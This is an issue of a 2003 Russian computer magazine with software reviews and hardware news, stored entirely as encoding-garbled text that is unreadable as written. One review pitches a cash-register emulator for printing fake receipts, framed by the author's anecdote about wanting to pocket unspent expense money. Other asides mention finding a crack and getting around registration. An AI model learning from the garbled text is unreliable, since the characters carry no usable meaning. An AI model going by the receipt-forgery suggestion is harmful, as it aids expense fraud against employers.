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Ñâåðøèëîñü! Â ýòîì ìåñÿöå Ìàò-
ðèöà, íàêîíåö, ïîèìåëà âñåõ ïî-
íàñòîÿùåìó, è âñå âíèêëè, êàêîãî
ýòî - ñïóñòèòü N-íîå êîëè÷åñòâî
òóãðèêîâ íà ïðîñìîòð ÷àñà ñîïëåé
ïëþñ ÷àñà îïóïèòåëüíûõ ñïåöýô-
ôåêòîâ :).
À åùå â ýòîì ìåñÿöå âûøåë îò-

ëè÷íûé Ñïåö, íà÷èíåííûé îãðîì-
íûì êîëè÷åñòâîì èíôû ïî âçëîìó.
Òóò óæå ïðîñêàêèâàëà ôðàçà ïðî
èíñòðóêöèþ ïî ñáîðêå ïóëåìåòà
(ñì. ðóáðèêó e-mail). Íî òåïåðü âñå
ñòàëî äåéñòâèòåëüíî ñåðüåçíåé,
òàê êàê åñòü åùå äèñê, ãäå âûëîæå-
íû âñå ýòè ïóëåìåòíûå ñîñòàâëÿþ-
ùèå. Íàäåþñü, òû óæå áîëüøîé
ìàëü÷èê, è áóäåøü ïðàêòèêîâàòüñÿ
èñêëþ÷èòåëüíî íà íåîäóøåâëåí-
íûõ ìèøåíÿõ :))). Èíà÷å ýòîò Ñïåö
ìîæåò îêàçàòüñÿ ñàìûì äåñòðóê-
òèâíûì!
Íó âñå, íå áóäó íà ýòîò ðàç îòâëå-

êàòü òåáÿ ïàðàíîéåé â èíòðå, òàê
êàê âïåðåäè òåáÿ æäåò äåéñòâè-
òåëüíî êóëüíîå ÷òèâî. Óäà÷è!
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SnagIt 6.2.2   www.techsmith.com   5.76 mb

Í
åêîòîðûå ñïðàøèâàþò: à êàê
àâòîðû äåëàþò ñêðèíû ê ïðî-
ãàì? Ëàìîáîòû ìîãóò æàòü

printscreen è âûðåçàòü íóæíîå
èçîáðàæåíèå â ðåäàêòîðå :). Óìíûå
æå ëþäè ïîëüçóþòñÿ ñïåöèàëüíûìè
ïðîãàìè. ß ëè÷íî èñïîëüçóþ äîñòà-
òî÷íî ïðîñòóþ HyperSnap, íî ìíî-
ãèå ïðåäïî÷èòàþò áîëåå íàâîðî÷åí-
íûé SnagIt, î êîòîðîì è ïîéäåò ðå÷ü
íèæå. Áîëåå íàâîðî÷åííûé - ýòî
ñëàáî ñêàçàíî. Ïðîãà óìååò äåëàòü
ñêðèíû ñî âñåãî ýêðàíà, ñ îêíà, ñ
îáúåêòà â îêíå, ñ ìåíþøåê è âûïà-
äàþùèõ ñïèñêîâ. Ìîæíî äåëàòü
ñêðèíû ïðîèçâîëüíîé îáëàñòè ýêðà-
íà, ïðè÷åì ëþáîé ôîðìû. Ìîæíî

äåëàòü ñêðèíû íåñòàíäàðòíûõ îêîí,
äîñîâñêèõ îêîí, èãð. Íî ýòî äàëåêî
íå âñå âîçìîæíîñòè ïðîãè. Ñ åå ïî-
ìîùüþ òû ìîæåøü çàïèñàòü ìóâèê ñ
ëþáîé ÷àñòè ýêðàíà, çàõâàòûâàòü
òåêñò ñ ýëåìåíòîâ îêîí (ïîëåçíî,
êîãäà îáû÷íûìè ìåòîäàìè ñêîïèðî-
âàòü òåêñò íåâîçìîæíî), çàêà÷èâàòü
èçîáðàæåíèÿ ñ ñàéòîâ, âûäèðàòü ðå-
ñóðñû èç ïðîã. Â ïðîãå åñòü äàæå
âèðòóàëüíûé ïðèíòåð! Íó è, åñòåñò-
âåííî, ïîñëå çàõâàòà ìîæíî íåìíî-
ãî ïîäêîððåêòèðîâàòü èçîáðàæå-
íèå, ïðèìåíèòü ðàçëè÷íûå ýôôåê-
òû (ñðåäè äîñòóïíûõ åñòü òàêàÿ ïî-
ëåçíàÿ øòóêà, êàê watermark). Åñòü
âèçàðä, ÷òîáû äîëãî íå êîïàòüñÿ â

íàñòðîéêàõ. ßñåí ïåðåö, ïðîãà ïëàò-
íàÿ, íî ïîïóëÿðíàÿ. Òàê ÷òî âïåðåä,
â àïòåêó :).

07(32) 2003

ÍÎÂÎÑÒÈ/SOFT

Ì
åëêîìÿãêèå âûïóñòèëè íå-
áîëüøîå äîïîëíåíèå ê
ñâîèì PowerToys. Åñëè

êòî íå çíàåò, PowerToys ýòî íå-
áîëüøîé íàáîð óòèëèò, óêðàøà-
ëîê è òâèêåðîâ (tweakUI) äëÿ XP îò
ñàìîãî Microsoft. Â äîïîëíåíèå
âõîäÿò äâå óòèëèòêè: Wallpaper
changer è Video screensaver.
Wallpaper changer ïîçâîëÿåò ìå-
íÿòü îáîè íà ðàáî÷åì ñòîëå ÷åðåç
çàäàííîå âðåìÿ. À åùå ïðîãà ìî-
æåò âûâîäèòü îïðåäåëåííûå îáîè
â çàäàííûå äíè. Äëÿ ýòîãî íóæíî
ñîçäàòü â ïàïêå My Pictures ïîä-
ïàïêè âèäà \Wallpaper\ìå-
ñÿö_äåíü è çàêèíóòü â íåå íåîáõî-
äèìûå êàðòèíêè. Â îñòàëüíîì âñå
áàíàëüíî :). À âîò Video screen-
saver - ýòî áîëåå èíòåðåñíàÿ óòè-
ëèòà. Ñ åå ïîìîùüþ ìîæíî ïîñòà-
âèòü â êà÷åñòâå çàñòàâêè ëþáîå
âèäåî èëè ìóçîí (èç ÷èñëà ïîä-
äåðæèâàåìûõ windows media play-
er :)). Åñëè ïîñòàâèòü â êà÷åñòâå
çàñòàâêè ìóçûêàëüíûé ôàéë,
èçîáðàæåíèåì äëÿ ñêðèíñåéâåðà
áóäåò ñòàíäàðòíàÿ âèçóàëèçàöèÿ
èç Windows media player. Íó à äëÿ
áîëüøåãî óäîáñòâà ìîæíî çàäàòü
êàê èñòî÷íèê íå îäèí ôàéë, à öå-
ëûé ïëåéëèñò.

Windows XP Creativity Fun
Pack PowerToys  
òî÷íàÿ ññûëêà ìåíÿåòñÿ, òàê ÷òî
èùè íà download.microsoft.com
1.6 mb

Òâîå ëþáèìîå âèäåî â êà÷åñòâå ñêðèíñåéâåðà!

Ñîâåòíèê 96Ì.3   www.umopit.ru 0.4 mb

Â
åñüìà çàáàâíàÿ ïðîãà. Áîëåå
96 ÌÈËËÈÎÍÎÂ ñîâåòîâ. Íó
ãäå òû åùå òàêîå íàéäåøü :).

Ìîæåøü ñèäåòü çà êîìïîì õîòü ïà-
ðó ëåò - îíè íå ïîâòîðÿþòñÿ. Ïîëî-
âèíà, ïðàâäà, çâó÷èò êàê áðåä :). Íî
èíîãäà ïîïàäàþòñÿ î÷åíü ìåòêèå
âûñêàçûâàíèÿ. À êîãäà âî âðåìÿ íà-
ïèñàíèÿ ñòàòüè çà äâà ÷àñà (óòðî, ÿ
ñèæó óæå âñþ íî÷ü :)) äî ñäà÷è îí
âûäàë ìíå: "Â íåóðî÷íûé ÷àñ ðàáî-
òàé íà îïåðåæåíèå" - ÿ áûë â àóòå :).
Êðîìå ïðîñòûõ âûñêàçûâàíèé â
ïðîãó çàøèòî îêîëî 800 öèòàò
(æàëü òîëüêî, íåò ðåæèìà, ÷òîáû
âûâîäèëèñü òîëüêî öèòàòû, à íå âñå
ïîäðÿä). À åùå ñîâåòû ìîãóò ïîêà-
çûâàòüñÿ íà ñêðèíñåéâåðå (ìîãëè
áû ñäåëàòü åãî è ïîêðàñèâåå). Ãëàâ-

íîå - ïðè ïåðâîì çàïóñêå ïîñòàâü
áóäèëüíèê. À òî ìîæíî äîëãî ïðîñè-
äåòü, ÷èòàÿ æèòåéñêóþ ìóäðîñòü :).
×òî áû òåáå òàêîå ñêàçàòü íà ïðî-
ùàíüå... à, âîò: "Òåïåðü ñîîáùàé êó-
äà ñëåäóåò" :).

Âñåãî-òî 96 ìèëëèîíîâ ñîâåòîâ...

WinRar 3.20   www.rarlab.com 0.96 mb

W
inRar - îäíà èç íåìíîãèõ
ïðîã, îáíîâëåíèå êîòîðûõ
íå ïðèíîñèò ìíå ðàäîñòè :).

Ïî÷åìó? À ïîòîìó ÷òî ïðîãðàììà
óæå è òàê áëèçêà ê èäåàëó. Ñæàòèå
ïðèíöèïèàëüíî íå óëó÷øàåòñÿ, íî-
âûå ôóíêöèè ïî÷òè íå äîáàâëÿþòñÿ
(äà è íå íóæíû îíè îñîáî), êîñìåòè-
÷åñêèå èçìåíåíèÿ èíòåðôåéñà ìíå
ãëóáîêî áåçðàçëè÷íû. Çàòî â òå÷å-
íèå ìåñÿöà ïîñëå âûõîäà íà÷èíàåò-
ñÿ: òî íå ìîãóò îòêðûòü òâîé àðõèâ,
òî òû ñàì íå ìîæåøü îòêðûòü åãî íà
÷óæîé ìàøèíå. Äà åùå è íîâûé êðÿê
èñêàòü :). ×òî æå èçìåíèëîñü â ýòîé
âåðñèè? Òåïåðü ìîæíî óïðàâëÿòü
àòðèáóòàìè ôàéëîâ ïðè ñæàòèè è
ðàñïàêîâêå. Ðàçðàáîò÷èêè îñîáåííî
îáðàùàþò âíèìàíèå íà ñâåðõòî÷íóþ
ðàáîòó ñ âðåìåííûìè àòðèáóòàìè
(âðåìÿ ñîçäàíèÿ, âðåìÿ èçìåíåíèÿ,
âðåìÿ ïîñëåäíåãî äîñòóïà). Õîòÿ
ëè÷íî ìíå áîëåå âàæíîé ïîêàçàëàñü
âîçìîæíîñòü ñîõðàíåíèÿ àòðèáóòîâ

ntfs ó ôàéëîâ (èìåþòñÿ â âèäó ïðàâà
äîñòóïà). Íó è åùå ïà÷êà ðàçíûõ ìå-
ëî÷åé âðîäå âîçìîæíîñòè ïåðåèìå-
íîâàíèÿ ôàéëîâ âíóòðè àðõèâà
(óäèâèòåëüíî, ÷òî ýòî íå áûëî ñäå-
ëàíî äî ñèõ ïîð) èëè êîððåêòíîé ðà-
áîòû ñ àðõèâàìè, ÷üå èìÿ äëèííåå
ñòà ñèìâîëîâ (ìàíüÿêè åñòü?). Õîòÿ
÷òî ÿ òóò ïèøó, âñå ðàâíî âåäü ïðè-
äåòñÿ êà÷àòü, äàæå åñëè èçìåíåíèé
áóäåò åùå ìåíüøå...

Ñâåæàÿ âåðñèÿ ñàìîãî ïîïóëÿðíîãî

àðõèâàòîðà

Ìîíñòð çàõâàòà



Mass Editor 1.21   zarkon.hotbox.ru 0.3 mb

Ò
åáå ïðèõîäèëîñü ìàññîâî çà-
ìåíÿòü ëèíêè â òåêñòå èëè
õòìë'êå? Èëè ìåíÿòü íàçâà-

íèÿ ôàéëîâ? À ðåäàêòèðîâàòü òåãè?
À òåïåðü êàê â ðåêëàìå: âàì íå íóæ-
íî ìíîãî ðàçíûõ ïðîã, ó âàñ æå åñòü
Mass Editor. Ñïåöèàëüíî äëÿ äàóíîâ
ó íàñ åñòü âèçàðä! Íó è, êîíå÷íî æå,
ðóññêèé ÿçûê. Åùå íèêîãäà ðåäàêòè-
ðîâàíèå ôàéëîâ íå áûëî òàêèì ëåã-
êèì :). Íó à åñëè ñåðüåçíî, òî, âûá-
ðàâ ñïèñîê ïàïîê, ðàñøèðåíèé è
ôàéëîâ (õîòÿ áû è â âèçàðäå), òû
ìîæåøü ïðèìåíèòü ÷åòûðå ìîäóëÿ
äëÿ ðåäàêòèðîâàíèÿ. Ïåðâûé - ðàáî-
òà ñ òåêñòîì: çàìåíà è óäàëåíèå
òåêñòà, ñêðèïòîâ, èçîáðàæåíèé, îï-
òèìèçàöèÿ êîäà, óäàëåíèå ïóñòûõ
ñòðîê (!), ïðîáåëîâ â êîíöå ïðåäëî-
æåíèé (!!), äâîéíûõ ïðîáåëîâ (êîë-
ëåãè ìåíÿ ïîéìóò :)). Âòîðîé - ðàáîòà
ñ html: ïðåîáðàçîâàíèå â òåêñò è îá-
ðàòíî, çàìåíà öâåòîâ, çàãîëîâêîâ è
êëþ÷åâûõ ñëîâ. Òðåòèé - ðàáîòà ñ òå-

ãàìè mp3 (ìîæíî èñïîëüçîâàòü èìÿ
ôàéëà è ïàïêè äëÿ ïîäñòàíîâêè â
íóæíóþ ÷àñòü òåãà). ×åòâåðòûé - ðà-
áîòà ñ èìåíàìè ôàéëîâ (ñ âîçìîæ-
íîñòüþ ñìåíû èìåí mp3-ôàéëîâ íà
îñíîâå òåãîâ). È âñå ýòî äîáðî áåñï-
ëàòíî! Ïðàâäà, èíòåðôåéñ íåìíîãî
êðèâîâàò è èíîãäà âûñêàêèâàþò íå-
ïîíÿòíûé îøèáêè, íî ñäåëàåì ñêèä-
êó íà òî, ÷òî ïðîãó íàïèñàë âîñåì-
íàäöàòèëåòíèé ñòóäåíò :).
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ÍÎÂÎÑÒÈ/SOFT

Ðåäàêòèðóåì âñå!

Ð
àññêàæó îäíó ïîó÷èòåëü-
íóþ èñòîðèþ. Âûäàëè ìíå
êàê-òî íà ðàáîòå íåêóþ

ñóììó íà ïðîèçâîäñòâåííûå ðàñ-
õîäû. Õèòðî èçâåðíóâøèñü, ÿ ñäå-
ëàë ðàáîòó è ïîòðàòèë ìåíüøå
ïîëîâèíû ñóììû. Îñòàòîê î÷åíü
õîòåëîñü ïîëîæèòü â êàðìàí :).
Íî íàäî áûëî êàê-òî îò÷èòàòüñÿ
ïåðåä áóõãàëòåðèåé, à ãäå ñäå-
ëàòü ïîäõîäÿùèå ÷åêè íà íóæíóþ
ñóììó, ÿ òàê è íå íàøåë. Ïðèø-
ëîñü âîçâðàùàòü :(. À âîò åñëè áû
ÿ çíàë îá ýòîé ïðîãå ðàíüøå,
ìîæíî áûëî áû ìåñÿö íå ðàáî-
òàòü :). Õîòÿ ïðîãðàììêà äîâîëü-
íî ñòàðàÿ... Èòàê, îíà ñëóæèò
ïðîñòîé çàäà÷å - îòïå÷àòûâàòü
íóæíûå ÷åêè. Ðåêâèçèòû îíà õðà-
íèò ó ñåáÿ â áàçå, èõ ìîæíî äî-
áàâëÿòü è ðåäàêòèðîâàòü. Ìîæíî
ðàçáèâàòü ñóììó íà íåñêîëüêî
÷åêîâ èëè íåñêîëüêî òîâàðîâ. Â
íåçàðåãèñòðèðîâàííîé âåðñèè
ìîæíî íàïå÷àòàòü òîëüêî äâàä-
öàòü ÷åêîâ, íî ðåãèñòðàöèÿ âðîäå
êàê áåñïëàòíàÿ. Èíòåðôåéñ, êî-
íå÷íî, êðèâîé, íî "âàì øàøå÷êè
èëè åõàòü?"

Ýìóëÿòîð êàññîâîãî àïïàðàòà  
www.juliasoft.tora.ru
1.38 mb

Ìàõèíàöèè ñ ÷åêàìè ïðåñëåäóþòñÿ ïî çàêîíó

True Launch Bar 2.2.0.1   www.truelaunchbar.com 1.06 mb

Î
äíà èç ìîèõ ëþáèìûõ ïðèìî-
÷åê äëÿ èçìåíåíèÿ èíòåð-
ôåéñà Âèíäîâ. Çàìåíÿåò

ñòàíäàðòíûé quicklaunch íà ñâîé ñ
âîçìîæíîñòüþ ãðóïïèðîâàòü ÿðëû-
êè â ìåíþøêè (ýêîíîìèò ìåñòî íà
òàñêáàðå), ñîçäàâàòü ðàñêðûâàþùè-
åñÿ ìåíþ ñ ñîäåðæèìûì ïàïîê (òåáå
åùå íóæíà êíîïêà ïóñê?) è êó÷åé
ïëàãèíîâ (îò ÷àñèêîâ è ðàçëè÷íûõ

ìîíèòîðîâ äî óïðàâëåíèÿ winamp).
È êî âñåìó ýòîìó äîáðó ìîæíî ïðè-
ìåíèòü ñêèíû, ñäåëàòü ìåíþõè ïî-
ëóïðîçðà÷íûìè, ïîâåñèòü èõ íà õîò-
êåè. Â íîâîé âåðñèè ðàçðàáîò÷èêè
äîáàâèëè àâòîïåðåêëþ÷åíèå ìåíþ,
à òàêæå âîçìîæíîñòü âûñòàâëÿòü â
êà÷åñòâå ôîíà äëÿ ìåíþøåê êàð-
òèíêè â ôîðìàòå png. Àâòîïåðåêëþ-
÷åíèå ðàáîòàåò òàê: òû ñîçäàåøü

íåñêîëüêî âàðèàíòîâ ìåíþøåê,
êàæäûé âàðèàíò ïîä ñâîé íàáîð
ïðèëîæåíèé. Ïðè çàïóñêå ýòèõ ïðè-
ëîæåíèé ìåíþ ñòàíåò ñîîòâåòñòâóþ-
ùèì. Âñåì ñîâåòóþ ïîïðîáîâàòü:
ïðèâûêàåøü ê True Launch Bar
î÷åíü áûñòðî. Òåì áîëåå ÷òî äîñòà-
òî÷íî ñêà÷àòü language pack, âûñòà-
âèòü ðóññêèé ÿçûê, è ïðîãà íå áóäåò
òðåáîâàòü ðåãèñòðàöèè!

Quicklaunch - â îòñòîé!

Jv16 Power Tools 1.4 RC1   www.jv16.org 1.05 mb

Â
ïðèíöèïå, êîãäà òû áóäåøü
÷èòàòü ýòó ñòàòüþ, óæå
äîëæíà âûéòè ôèíàëüíàÿ

âåðñèÿ ïðîãè, íî è íà release candi-
dat ïîíÿòíî, ÷òî òû óâèäèøü â íå-
äàëåêîì áóäóùåì. Èòàê, ëó÷øèé
÷èñòèëüùèê ðååñòðà çàèìåë îá-
íîâëåííûé èíòåðôåéñ è íîâûå
ôóíêöèè. Òåïåðü âñå óòèëèòû ðàñ-
êèäàíû ïî íåñêîëüêèì ðàçäåëàì:
ðàáîòà ñ ðååñòðîì, ðàáîòà ñ ôàé-
ëàìè, àâòîìàòèçàöèÿ (ñîçäàíèå
ñêðèïòîâ). Ñðåäè íîâûõ ôóíêöèé
ñòîèò îñîáî îòìåòèòü regisry snap-
shot (äåëàåì ñíèìîê ðååñòðà, ïî-
òîì ñâåðÿåì) è ìàñòåð-ñêðèïòîâ
(åñëè òû âñå æå ðåøèë âîñïîëüçî-
âàòüñÿ àâòîìàòèçàöèåé). Ïðàâäà,
ðàáîòó ñ ôàéëàìè òàê äî óìà è íå

äîâåëè. Çàòî â ðàáîòå ñ ðååñòðîì
ïðîãå ïî-ïðåæíåìó íåò ðàâíûõ. È
îíà îñòàåòñÿ áåñïëàòíîé...

×èñòûé ðååñòð - çàëîã çäîðîâüÿ Âèíäîâ :)



S
P

E
Z

ia
l D

E
LI

V
E

R
Y

page 008 07(32) 2003

ÍÎÂÎÑÒÈ/HARD

Ê
îìïàíèÿ Asus ïðåäñòàâèëà
íîâóþ ìàòü ñåðèè Õ ïîä
Socket 478, ýòî P4PE-X. Íî-

âàÿ ïëàòà ïîääåðæèâàåò âñå ïðîöû
Pentium 4/Celeron è ïîääåðæèâàåò
÷àñòîòû ïðîöåññîðà äî 3,2 ÃÃö.
Ìàòü ïîääåðæèâàåò 800 ÌÃö FSB,
íà íåå ìîæíî ïîñòàâèòü 2 ãèãà ïà-
ìÿòè ñòàíäàðòà PC2700 / PC2100/
PC1600 non-ECC DDR SDRAM. P4PE-
X òàêæå ñîäåðæèò â ñåáå ñåòåâóø-
êó 10/100 îò Broadcom, èíòåðôåéñ
UltraDMA/100, 6 ïîðòîâ USB 2.0 è
çâóêîâóþ ñèñòåìó SoundMAX
Digital Audio System, î êîòîðîé ñòî-
èò ðàññêàçàòü ïîäðîáíåé. Ñèñòåìà

îñíîâàíà íà 6-êàíàëüíîì êîäåêå îò
ADI è ïîääåðæèâàåò âñå ñàìûå ïî-
ïóëÿðíûå òåõíîëîãèè, òàêèå êàê
Microsoft DirectX 8.0, Microsoft
DirectSound 3DT, A3D, MacroFX,
ZoomFX, MultiDrive 5.1, A3D è EAX.
Òàêæå ïîääåðæèâàåòñÿ âîñïðîèç-
âåäåíèå çâóêà ôîðìàòà 5.1, åñòü
S/PDIF âûõîä. Ïëàòà èìååò ïîääå-
ðæêó âñåõ ñîâðåìåííûõ, ôèðìåí-
íûõ òåõíîëîãèé ASUS, òàêèõ êàê
ASUS CrashFree BIOS, EZ Flash,
MyLogo. Íåñìîòðÿ íà íåïëîõèå õà-
ðàêòåðèñòèêè, çàÿâëåíî, ÷òî ïëàòà
áóäåò íåäîðîãàÿ. 

ÍÎÂÀß ÌÀÒÜ

Ê
îìïàíèÿ Asus íà÷àëà ïîñòàâ-
êè íîâîé ìàòåðè A7V600, îñ-
íîâàííîé íà íîâåéøåì ÷èï-

ñåòå Via KT600 è ïîääåðæèâàþùåé
ïðîöåññîð Athlon XP 3200+, ðàáîòà-
þùèé ñ 400 ÌÃö ñèñòåìíîé øèíîé.
Íîâèíêà òàêæå ìîæåò ïîõâàñòàòüñÿ
ïîääåðæêîé AGP8x, Serial ATA RAID,
âîñüìüþ ïîðòàìè USB 2.0 è 1 Ãáèò
ñåòåâîé êàðòîé, òàêæå ïðèñóòñòâóåò
ïîääåðæêà DDR400 è 6-êàíàëüíîãî
çâóêà. Ñòîèò óïîìÿíóòü, ÷òî çâóêî-

âîé êîäåê èìååò 
S/PDIF âûõîä, ÷òî íåñîìíåííî ÿâëÿ-
åòñÿ áîëüøèì ïëþñîì. Òàêæå ïîä-
äåðæèâàåòñÿ ôóíêöèÿ Instant Music,
ïîçâîëÿþùàÿ ïðîèãðûâàòü mp3 áåç
çàãðóæåííîé îïåðàöèîííîé ñèñòå-
ìû. Íîâèíêà ïîääåðæèâàåò öåëóþ
êó÷ó ñîâðåìåííûõ ôèðìåííûõ
ôóíêöèé - ýòî ASUS CrashFree BIOS
2, C.O.P äëÿ çàùèòû îò ïåðåãðåâà
ïðîöåññîðà, EZ Flash, MyLogo, C.P.R.

È ÑÍÎÂÀ ASUS

Ê
îìïàíèÿ Samsung Electro-
nics ïðåäñòàâèëà íîâûé
áåñïðîâîäíûé ëàçåðíûé

ïðèíòåð (ìîäåëü ML-2150W), îñíà-
ùåííûé öåëûì íàáîðîì íîâûõ
óäîáíûõ ôóíêöèé è îáåñïå÷èâàåò
âûñîêèé óðîâåíü ðàáîòû. Ãëàâ-
íîå äîñòîèíñòâî íîâîãî ïðèíòåðà
- ýòî íàëè÷èå âñòðîåííîãî áåñï-

ðîâîäíîãî àäàïòåðà, ïîääåðæèâà-
þùåãî ïðîòîêîë áåñïðîâîäíîé
ñâÿçè 802.11b (Wi-Fi). Íîâèíêà òàê-
æå ìîæåò ïîäêëþ÷àòüñÿ ê êîíò-
ðîëëåðó USB 2.0 è îáåñïå÷èâàåò
âûñîêóþ ñêîðîñòü, â 40 ðàç áûñò-
ðåå, ÷åì îáû÷íûé ñòàíäàðò ïî-
ñûëêè äîêóìåíòîâ íà ïå÷àòü ñ
êîìïüþòåðà íà ïðèíòåð. 
Íîâûé ëàçåðíèê ìîæåò íàïå÷àòàòü
äî 20 ñòðàíèö çà îäíó ìèíóòó, ïðè-
÷åì äëÿ òîãî, ÷òîáû îáåñïå÷èòü
áåñïðåðûâíóþ ðàáîòó íà òàêîé ñêî-
ðîñòè, â ëîòîê ìîæíî ïîëîæèòü äî
1100 ñòðàíèö áóìàãè. Êàê è â áîëü-
øèíñòâå ëàçåðíèêîâ Samsung, â
ïðèíòåðå ïðèñóòñòâóåò ðåæèì ýêî-
íîìè÷íîé ðàáîòû, ÷òî ïîçâîëÿåò
ñîêðàòèòü ðàñõîä òîíåðà è íà 40
ïðîöåíòîâ ïðîäëèòü ñðîê ýêñïëóà-
òàöèè êàðòðèäæà. Òàêæå ïîääåðæè-
âàåòñÿ äâóõñòîðîííÿÿ ïå÷àòü. 

ÑÅÒÅÂÎÉ ËÀÇÅÐÍÈÊ
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ÍÎÂÎÑÒÈ/HARD

E
PSON Corporation îáúÿâèëà î
íà÷àëå ïîñòàâîê ôîòîïðèíòå-
ðà EPSON Stylus Photo 830U. 

Íîâûé ïðèíòåð øåñòèöâåòíûé è îï-
òèìèçèðîâàí ïîä ðàçðåøåíèå 5760
òî÷åê íà äþéì (Resolution
Performance Management), áëàãîäà-
ðÿ ýòîìó ìîæíî ïîëó÷èòü ôîòîãðà-
ôèè, íå óñòóïàþùèå êà÷åñòâîì ôî-
òîãðàôèÿì, íàïå÷àòàííûì â ôîòî-
ëàáîðàòîðèè. Íîâàÿ ôóíêöèÿ ïå÷à-
òè áåç ïîëåé ïîçâîëÿåò âûâîäèòü
ôîòêè áåç ðàìîê ïî êðàÿì ëèñòà.
Òàêæå ïîääåðæèâàåòñÿ ôóíêöèÿ
ïå÷àòè êàïëÿìè ðàçíîãî ðàçìåðà,
áëàãîäàðÿ êîòîðîé äîñòèãàåòñÿ
äîñòàòî÷íî âûñîêàÿ ñêîðîñòü. Îä-
íîòîííûå ó÷àñòêè èçîáðàæåíèÿ ïå-
÷àòàþòñÿ êàïëÿìè êðóïíîãî ðàçìå-
ðà, à òå ÷àñòè, ãäå òðåáóåòñÿ ïðîðè-
ñîâêà ìåëêèõ äåòàëåé, ïå÷àòàþòñÿ
êàïëÿìè ìåíüøåãî ðàçìåðà. Ñêî-
ðîñòü ïå÷àòè ïðèíòåðà - 14 ÷åðíî-
áåëûõ ñòðàíèö â ìèíóòó è 13.7 öâåò-
íûõ ñòðàíèö â ìèíóòó. Ìèíèìàëü-
íûé ðàçìåð êàïëè ñîñòàâëÿåò 4 ïè-
êîëèòðà. Íîâèíêà ïîäêëþ÷àåòñÿ ê
êîìïüþòåðó ïðè ïîìîùè èíòåð-
ôåéñà USB, äëÿ ýòîãî íà ïåðåäíåé
è çàäíåé ïàíåëÿõ ïðèíòåðà èìååò-
ñÿ äâà USB èíòåðôåéñà (äëÿ íàèáî-
ëåå óäîáíîãî ïîäêëþ÷åíèÿ). 
Â êîìïëåêòå ñ ïðèíòåðîì èäóò ñîô-
òèíû PhotoQuicker 3.4 è Print Image
Frame Designer. Ïåðâàÿ ïðåäíàçíà-
÷åíà äëÿ ïðèêðó÷èâàíèÿ ê ôîòîã-
ðàôèÿì âñÿ÷åñêèõ ðàìîê è ïðî÷èõ
óêðàøàòåëüñòâ, à âòîðàÿ - äëÿ ñîç-
äàíèÿ ñâîåãî ñîáñòâåííîãî îôîðì-
ëåíèÿ ñíèìêîâ. 

ÊÐÓÒÎÉ ÔÎÒÎÏÐÈÍÒÅÐ

Ê
îìïàíèÿ R&K ïðåäñòàâèëà
äâå íîâûå ìîäåëè êîìïüþòå-
ðîâ ñåðèè Wiener Pro, ýòî

W4530 è W2510. Ýòè ìîäåëè îñíîâà-
íû íà ñâÿçêå ïðîöåññîðà Intel®
Pentium® 4 ñ òàêòîâûìè ÷àñòîòàìè
2,8, 2,6 è 2,4 ÃÃö ñ ïîääåðæêîé òåõ-
íîëîãèè Hyper-Threading, è íîâûõ
íàáîðàõ ìèêðîñõåì - Intel 865PE è
Intel 865G. Êîìïàíèÿ R&K ïëàíèðó-
åò äî êîíöà 2003 ãîäà ïåðåâåñòè îñ-
íîâíóþ ÷àñòü ñâîèõ íàñòîëüíûõ
ñèñòåì ñåðèé Wiener Pro è Wiener4
íà áàçó íàáîðîâ ìèêðîñõåì i865 è
i875. Ìîäåëü Wiener Pro W4510
ïðåäíàçíà÷åíà äëÿ ïîëüçîâàòåëåé,
íóæäàþùèõñÿ â êîìïüþòåðàõ êëàñ-
ñà Middle è High End ïî ðàçóìíîé öå-
íå. Â îñíîâå äàííîé ìîäåëè ëåæèò

íàáîð ìèêðîñõåì i865�PE, êîòîðûé
ðàáîòàåò ñ 800 ÌÃö ñèñòåìíîé øè-
íîé è äâóõêàíàëüíîé ïàìÿòüþ ñòàí-
äàðòà DDR DRAM PC3200, è èìååò
ïîääåðæêó ñîâðåìåííûõ âèäåîêàðò
ñ èíòåðôåéñîì AGP 8x. Ïðîöåññîð ñ
òåõíîëîãèåé HT ïîçâîëÿåò íàìíîãî
ýôôåêòèâíåé èñïîëüçîâàòü ìíîãî-
çàäà÷íûå îïåðàöèîííûå ñèñòåìû.
Íàïðèìåð, ìîæíî îäíîâðåìåííî è
áåç óùåðáà äëÿ ñêîðîñòè èãðàòü, êà-
÷àòü ãèãàáàéòàìè èç ñåòè ñîôò è çà-
ïèñûâàòü äèñêè. Íî ìîùíûé ïðîöåñ-
ñîð - ýòî åùå íå âñå, â êîìïüþòåðàõ
óñòàíîâëåíà õîðîøàÿ âèäåîêàðòà
íà áàçå ATI Radeon 9500 è áûñòðûé
æåñòêèé äèñê ñ ñîâðåìåííûì èíòåð-
ôåéñîì Serial ATA è ñêîðîñòüþ âðà-
ùåíèÿ øïèíäåëÿ 10 000 îá/ìèí.

ÍÎÂÈÍÊÈ ÎÒ R&K

Ê
îìïàíèÿ Pinnacle Systems íà-
÷èíàåò ïîñòàâêè òðåõ íîâûõ
óñòðîéñòâà âèäåîìîíòàæà 

Âñå óñòðîéñòâà âíåøíèå, ïîäêëþ÷à-
þòñÿ ÷åðåç èíòåðôåéñû USB èëè
IEEE-1394. Óñòðîéñòâà ïîääåðæèâà-
þò ñòàíäàðòû PAL/SECAM ñ ðàçðå-
øåíèåì äî 720õ576. 
Ìîäåëü MovieBox DV ïðåäñòàâëÿåò èç
ñåáÿ äâóíàïðàâëåííûé êîíâåðòåð
�àíàëîã-DV� è èìååò âîçìîæíîñòü àâ-
òîíîìíîé ðàáîòû. Òàê æå èìåþòñÿ
êîìïîçèòíûå è S-Video âèäåîâõîäû-
âûõîäû, çâóêîâûå RCA ñòåðåîâõîäû-
âûõîäû. Â êîìïëåêòå ñ óñòðîéñòâîì
èäóò 2 êàáåëÿ (4-6 pin è 6-6 pin) äëÿ
ïîäêëþ÷åíèÿ ê êîìïüþòåðó.
Ìîäåëè MovieBox USB è PCTV Deluxe
îñíàùåíû èíòåðôåéñîì USB2.0 è

âîçìîæíîñòüþ àïïàðàòíîãî êîäèðî-
âàíèÿ ïîòîêà â MPEG1/2. Ðàçëè÷èå
ìîäåëåé ñîñòîèò â òîì, ÷òî MovieBox
USB è MovieBox DV ñîäåðæfò íåîáõî-
äèìûå âõîäû-âûõîäû, à PCTV Deluxe
èìååò òîëüêî âõîäû, îí òàêæå óêîìï-
ëåêòîâàí ïóëüòîì ÄÓ. Ïðåäñòàâëåí-
íûå ìîäåëè ïîçâîëÿþò â ðåàëüíîì
âðåìåíè ñæèìàòü âèäåî â MPEG1 ñ
ïîòîêîì äî 3Ìáèò/ñ è â MPEG2 ñ ïî-
òîêîì äî 12 Ìáèò/ñ, à ìîäåëü PCTV
Deluxe � äî 15 Ìáèò/ñ.
Óñòðîéñòâà îáëàäàþò íåáîëüøèìè
